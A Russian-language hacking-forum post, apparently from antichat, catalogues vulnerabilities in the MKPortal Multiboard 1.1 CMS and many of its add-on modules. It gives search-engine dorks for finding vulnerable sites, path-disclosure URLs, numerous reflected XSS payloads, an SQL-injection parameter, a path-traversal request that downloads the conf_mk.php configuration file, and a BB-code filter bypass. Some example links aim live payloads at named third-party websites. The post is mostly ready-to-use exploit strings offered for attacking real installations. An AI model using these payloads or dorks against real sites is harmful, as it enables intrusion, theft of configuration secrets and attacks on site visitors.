Уязвимости MKPortal Multiboard 1.1 MKPortal Multiboard 1.1 Уязвимый продукт: MKPortal Multiboard 1.1 Дорк: "inurl:index.php?ind=" 1. Расскрытие пути Exploit: Code: /index.php?ind[]=news /mkportal/admin/ad_menu.php Вызов любого скрипта из папки blocks, например: /mkportal/blocks/chat.php /mkportal/blocks/random_pic.php /mkportal/blocks/random_quote.php /mkportal/blocks/search.php В скрипты не инклудятся файлы, однако идет вызов сторонних функций 2. XSS Код: PHP: $return = "http://".$_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']."?".$_SERVER['QUERY_STRING']."#cal"; Exploit: Code: Множественные уязвимости из-за стандартного модуля - календарь /index.php?"><script>alert()</script> Либо любой линк подобного типа, например /index.php?ind=gallery&op=section_view"><script>alert()</script> /mkportal/include/pmpopup.php?m1=<script>alert()</script> /mkportal/include/pmpopup.php?m2=<script>alert()</script> /mkportal/include/pmpopup.php?m3=<script>alert()</script> /mkportal/include/pmpopup.php?m4=<script>alert()</script> 3. SQL-INJ Exploit: Code: http://cms.ru/index.php?ind=news&op=del_comment&idcomm={SQL-INJ} Скуль требует админских прав, посему толку мало. 4. Возможность скачать любые файлы, в том числе конфигурационные Exploit: Code: /index.php?ind=downloads&op=download_file&ide=2&file=../../../conf_mk.php%00 Единственный косяк(а иногда плюс) - что при таком запросе запрашиваемый файл (../../../conf_mk.php) переименовывается в PHP: ... $real_file = "mkportal/modules/downloads/file/mk_".$ide."_".$file; ... if (is_file("mkportal/modules/downloads/file/".$file)) { @rename("mkportal/modules/downloads/file/".$file, $real_file); } И вот в чем прикол, если запросить конфигурационный файл, мы его запросим на загрузку, НО он переместится в папку mkportal/modules/downloads/file/, и соответственно в корне его не будет => не будет работать движок... (в принципе нужно подумать как это можно еще заюзать... можно также переместить какой нибудь подключаемый файл и радоваться необъявленными переменными...) 5. Разные сведения и мысли 1. (.htaccess отсутствует напрочь везде) 2. (В index.php?ind=downloads&op=add_file запрещена загрузка php, a phtml проходит, однако переименовывается в /modules/downloads/file/mk_{IDE}_{FILE_NAME}.mk) 3. Директория mkportal/modules/downloads/file/ как и многие другие доступна для листинга 4. Выполнение пхп кода в админке http://cms.ru/mkportal/admin.php?ind=ad_blocks&op=blocks_new_php (блоки->создание->Создать блок php, пишем код, нажимаем пимпу "Предпросмотр кода" ) 5. Все эти баги работают не везде, поэтому есть мысль, что по просторам гуляют разные "Сборки" двига, а загрузка на официальном сайте сейчас прикрыта...
уязвимости компонентов MKPortal Multiple pXSS в MKPortal module GBook Уязвимый продукт: MKPortal module gbook Дорк: "inurl:index.php?ind=gbook" 1. Multiple pXSS Уязвимость в файле index.php. Exploit: Code: /index.php?ind=gbook&content=%3Cscript%3Ealert(1)%3C/script%3E /index.php?ind=gbook&blocks=%3Cscript%3Ealert(1)%3C/script%3E /index.php?ind=gbook&message=%3Cscript%3Ealert(1)%3C/script%3E Example: Code: http://otradnoe.ru.net//index.php?ind=gbook&content=%3Cscript%3Ealert(1)%3C/script%3E http://otradnoe.ru.net//index.php?ind=gbook&blocks=%3Cscript%3Ealert(1)%3C/script%3E http://otradnoe.ru.net//index.php?ind=gbook&message=%3Cscript%3Ealert(1)%3C/script%3E
2. Вставка запрещённых bb-тегов [i*mg] и [u*rl] в сообщение Уязвимость в файле index.php. Уязвимый кусок кода: PHP: $message = stripslashes($message); $message = preg_replace('/\[URL=(.+?)\](.+)\[\/URL\]/i',$no_url,$message); $message = preg_replace('/\[IMG\](.+?)\[\/IMG\]/i',$no_img,$message); $message = str_replace("ttp","", $message); обходим ограничения: Code: [UttpRL=htttptp://antichat.ru]antichat.ru[/URL] [IMttpG]htttptps://forum.antichat.ru/image.php?u=37072&dateline=[/IMG]
MKPortal module whois Уязвимый продукт: MKPortal module whois Дорк: "inurl:index.php?ind=whois" 1. pXSS Уязвимость в файле index.php. Exploit: Code: /index.php?ind=whois&blocks=%3Cscript%3Ealert(1)%3C/script%3E Example: Code: http://kitimedia.com/index.php?ind=whois&blocks=%3Cscript%3Ealert(1)%3C/script%3E
MKPortal module lenta Уязвимый продукт: MKPortal module lenta Дорк: "inurl:index.php?ind=" грабер lenta 1. Multiple pXSS Уязвимость в файле index.php. Exploit: Code: /index.php?ind=lenta&output=%3Cscript%3Ealert(1)%3C/script%3E /index.php?ind=lenta&blocks=%3Cscript%3Ealert(1)%3C/script%3E Example: Code: http://www.nissanclub72.ru/index.php?ind=lentanews&output=%3Cscript%3Ealert(1)%3C/script%3E http://www.nissanclub72.ru/index.php?ind=lentanews&blocks=%3Cscript%3Ealert(1)%3C/script%3E
MKPortal modules 1. pXSS Уязвимый продукт: MKPortal modules metric Exploit: Code: /metric/?output=%3Cscript%3Ealert(1)%3C/script%3E /metric/?error=%3Cscript%3Ealert(1)%3C/script%3E /metric/?blocks=%3Cscript%3Ealert(1)%3C/script%3E recommend Exploit: Code: /index.php?ind=recommend&blocks=%3Cscript%3Ealert(1)%3C/script%3E Example: Code: http://www.street-style.su/index.php?ind=recommend&blocks=%3Cscript%3Ealert(1)%3C/script%3E anekdot Exploit: Code: /Anekdot/?output=%3Cscript%3Ealert(1)%3C/script%3E /Anekdot/?blocks=%3Cscript%3Ealert(1)%3C/script%3E /Anekdot/?contents=%3Cscript%3Ealert(1)%3C/script%3E Example: Code: http://www.isranetclub.com/isra/Anekdot/?output=%3Cscript%3Ealert(1)%3C/script%3E http://www.isranetclub.com/isra/Anekdot/?blocks=%3Cscript%3Ealert(1)%3C/script%3E http://www.isranetclub.com/isra/Anekdot/?contents=%3Cscript%3Ealert(1)%3C/script%3E contact Exploit: Code: /contact/index.php?blocks=%3Cscript%3Ealert(1)%3C/script%3E /contact/[email protected]&mess=2&subj=3&headers=4&name=5&teme=6&soob=7&[email protected]&output=%3Cscript%3Ealert(1)%3C/script%3E /contact/[email protected]&mess=2&subj=3&headers=4&name=5&teme=6&soob=7&[email protected]&blocks=%3Cscript%3Ealert(1)%3C/script%3E speed connection Exploit: Code: /speed/?output=%3Cscript%3Ealert(1)%3C/script%3E /speed/?blocks=%3Cscript%3Ealert(1)%3C/script%3E horoscop Exploit: Code: /index.php?ind=horoscop&blocks=%3Cscript%3Ealert(1)%3C/script%3E /index.php?ind=horoscop&output=%3Cscript%3Ealert(1)%3C/script%3E phones Exploit: Code: /catphones/index.php?output=%3Cscript%3Ealert(1)%3C/script%3E /catphones/index.php?blocks=%3Cscript%3Ealert(1)%3C/script%3E В общем, уязвимость писутствует из-за тупости. в коде есть переменная, которая формируется в ходе выполнения скрипта и ей постепенно присваиваются дополнительные данные. В уязвимых модулях код примерно выглядит следующим образом: PHP: <? //code if (/*some*/) { //some code vuln_var .= 'some content'; } else { //some code vuln_var .= 'some content'; } //some code echo $vuln_var; //some code ?> Эта xss распространена на 90% модулей для MKPortal с сайта rusmkportal.ru. Я протестил не все, так как при установке некоторых отказывался работать денвер.